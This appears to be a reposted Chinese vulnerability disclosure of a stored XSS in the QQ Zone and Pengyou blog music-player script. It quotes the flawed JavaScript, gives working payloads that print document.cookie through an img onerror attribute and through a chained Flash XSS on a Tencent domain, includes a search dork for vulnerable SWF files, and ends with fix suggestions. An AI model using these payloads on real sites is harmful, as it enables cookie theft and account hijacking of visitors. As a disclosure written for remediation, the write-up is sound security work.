网站地图    收藏   

主页 > 后端 > 网站安全 >

QQ空间+朋友网日志功能存储型XSS及修复 - 网站安

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 此漏洞影响腾讯2大主要的社区日志功能,QQ空间和朋友网的前端和后端是一套逻辑,就不分开提交了。漏洞相关信息日后会同步至pkav.net。缺陷文件:http://cnc.qzs.qq.com/qzone/newblog/v5/scrip...

此漏洞影响腾讯2大主要的社区日志功能,QQ空间和朋友网的前端和后端是一套逻辑,就不分开提交了。漏洞相关信息日后会同步至pkav.net。

缺陷文件:
http://cnc.qzs.qq.com/qzone/newblog/v5/script/common.js
http://qzs.pengyou.com/qzone/newblog/v5/script/common.js

缺陷代码:

QZBlog.Logic.initMusicPlayer = function() {
    var arr = document.getElementsByName("musicFlash**");
    if (arr.length > 0) {
        var musicParams = [];
        for (var index = 0; index < arr.length; ++index) {
            var ubb = arr[index].getAttribute('ubb');
            if ( !! ubb) {
                musicParams.push(ubb);
                if (!QZFL.userAgent.ie) {
                    var is_multi = ubb.split("|").length > 7;
                    var width = arr[index].width;
                    var height = arr[index].height;
                    var _div_height = is_multi ? 200: 120;
                    var _div_width = is_multi ? 386: 360;
                    var src = 'http://' + IMGCACHE_DOMAIN + '/music/musicbox_v2_1/img/MusicFlash.swf';
                    var span = document.createElement('span');
                    span.style.cssText = 'display:inline-block; height:' + _div_height + 'px;width:' + _div_width + 'px; overflow:hidden; vertical-align:baseline';
                    var parent = arr[index].parentNode;
                    parent.replaceChild(span, arr[index]);
                    span.innerHTML = '<object type="application/x-shockwave-flash" data="' + src + '" width="' + width + '" height="' + height + '" name="musicFlash' + (musicParams.length - 1) + '" id="musicFlash' + (musicParams.length - 1) + '" align="middle" ubb="' + ubb + '">' + '<param name="movie" value="' + src + '" />' + '<param name="quality" value="high" />' + '<param name="bgcolor" value="#ffffff" />' + '<param name="play" value="true" />' + '<param name="loop" value="true" />' + '<param name="wmode" value="transparent" />' + '<param name="scale" value="showall" />' + '<param name="menu" value="true" />' + '<param name="salign" value="" />' + '<param name="allowScriptAccess" value="always" />' + '</object></span>';
                    index--;
                } else {
                    arr[index].id = "musicFlash" + (musicParams.length - 1);
                    if (QZFL.userAgent.ie < 9) {
                        arr[index].name = "musicFlash" + (musicParams.length - 1);
                    }
                }
            }
        }
        if (musicParams.length > 0) {
            var jsLoader = new QZONE.jsLoader();
            jsLoader.onload = function() {
                initMusicData.apply(null, musicParams);
            };
            jsLoader.load("/music/musicbox_v2_1/js/musicblog_player.js", document, "GB2312");
        }
    }
};


1. 首先看看上面这个代码。

2. 它的大致流程如下:

2.1 搜索日志里所有name="musicFlash**"的元素。然后循环对每一个元素处理

2.2 拿一次循环为例,可以看到取出了name="musicFlash**"元素的 ubb 属性。

2.3 而后,在span.innerHTML这段代码中, ubb="' + ubb + '" 这个地方直接加了进去。

2.4 因此这里没有做过滤,会造成XSS。

3. 那么利用代码怎么写呢?

因为日志功能是富文本,不可能屏蔽掉所有的HTML标签。div 标记一般是允许的。那么我们利用div来编写利用代码。

<div name="musicFlash**" ubb="&quot;&gt;&lt/object&gt;&lt;img src=&quot;1&quot; onerror=&quot;alert(document.cookie);&quot;&gt;&lt;i a=&quot;">xxxxxxxxx</div>


嗯,上面就是利用代码了,很简单吧,发日志的时候,选择使用HTML方式,发送即可。

 

其它用户访问日志后,效果如下:

 


打开调试工具,可以看到被inject进去的代码

 


4. 当然,还没完。。。 因为上面这个代码缺陷,仅限于非IE浏览器,为什么呢?

主要是这句:如下图: www.2cto.com

 


5. 我们的目标是:“没有蛀牙”,只有chrome下可以,有点鸡肋了。

6. 其实这里还存在一个问题。最初测试时,发现腾讯并没有过滤掉object标签,只是对object调用的swf文件的域进行了限制。也就是说 ,发送一下HTML,是不会被过滤掉的

<div class="blog_details_20120222"><div><object codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" src="http://qzs.qq.com/22222222222.swf" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" id="musicFlash0" ubb='3041135817|1|http://1.qq.com/1"><img/src="1"onerror="alert(1)">'><param name="movie" value="http://qzs.qq.com/22222222222.swf" /><param name="data" value="http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="bgColor" value="#ffffff" /><param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" /></object><br></div></div>


只要 movie的value是 http://qzs.qq.com域名下即可

7. 更重要的是,这里的allowscriptaccess是等于always的。

8. 那么我们只要找到一个 http://qzs.qq.com 域名下,具有缺陷的FLASH XSS即可。

9. google , site:qzs.qq.com filetype:swf ,找到下面这个。

http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)}


10. 接着我们在发布日志时,发布以下利用代码即可。

<div class="blog_details_20120222"><div><object codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" src="http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)}" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" id="musicFlash0" ubb='3041135817|1|http://1.qq.com/1"><img/src="1"onerror="alert(1)">'><param name="movie" value="http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)}" /><param name="data" value="http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="bgColor" value="#ffffff" /><param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" /></object><br></div></div>


11. 看吧,这次IE也会弹啦。




修复方案:
1. 修复 QZBlog.Logic.initMusicPlayer 中的缺陷,取出ubb属性后,进行二次过滤,再输出到innerHTML。

2. 这个object的always,你们自己看着修复。本身object标签就是很危险的,感觉不应该直接输出到页面。

3. 修复 http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)}

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论